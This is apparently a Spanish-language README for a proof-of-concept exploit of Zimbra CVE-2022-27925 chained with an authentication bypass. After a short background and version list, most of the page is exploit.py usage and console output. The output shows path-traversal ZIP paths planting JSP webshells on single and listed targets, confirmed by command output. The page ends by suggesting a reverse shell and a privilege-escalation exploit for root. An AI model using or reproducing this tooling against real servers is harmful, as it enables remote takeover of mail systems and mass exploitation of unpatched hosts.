
PoC de Zimbra CVE-2022-27925
El 10 de mayo de 2022, Zimbra publicó las versiones 9.0.0 patch 24 y 8.8.15 patch 31 para abordar múltiples vulnerabilidades en Zimbra Collaboration Suite, incluyendo CVE-2022-27924 (sobre la que escribimos anteriormente) y CVE-2022-27925.
Originalmente, Zimbra denominó a CVE-2022-27925 como un ataque de path traversal autenticado, en el que un usuario administrativo podía escribir archivos en cualquier directorio del sistema de archivos como la cuenta de Zimbra. Debido a que inicialmente se pensó que era un ataque exclusivo de administradores, NVD le asignó una puntuación base CVSS de 7.8. Más tarde, Volexity observó que los atacantes que explotaban esta vulnerabilidad habían encontrado una forma de omitir los requisitos administrativos, y escribió sobre ello el 10 de agosto de 2022. Este nuevo bypass de autenticación recibió un nuevo identificador – CVE-2022-37042.
Al combinar la vulnerabilidad de path traversal original y el nuevo bypass de autenticación, los atacantes pueden comprometer de forma remota un sistema Zimbra Collaboration Suite a través del puerto de administración (por defecto, 7071) de forma anónima. Combinadas con una vulnerabilidad de escalada de privilegios actualmente sin parchear sobre la que escribimos recientemente y para la que desarrollamos un exploit, estas tres vulnerabilidades conducen a la ejecución remota de comandos como el usuario root en sistemas sin parchear.
Aunque los avisos públicos no lo mencionan, según nuestro análisis, Zimbra Collaboration Suite Network Edition (la edición de pago) es vulnerable, y la Edición de Código Abierto (gratuita) no lo es (ya que no tiene el endpoint mboximport vulnerable). Las versiones vulnerables son:
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (y anteriores)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (y anteriores)
Estas vulnerabilidades (y otras en Zimbra) están siendo objetivo de explotación generalizada en la naturaleza, por lo que deberían parchearse o desconectarse de la red lo antes posible. Si sospechas que has sido comprometido, Zimbra proporciona pasos para reconstruir tu servidor Zimbra Collaboration Suite desde cero con el último parche sin perder datos.
Fuente: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
root@root# .
Para hacerte root en la máquina, puedes lanzar una reverse shell y luego usar Slaper's LPE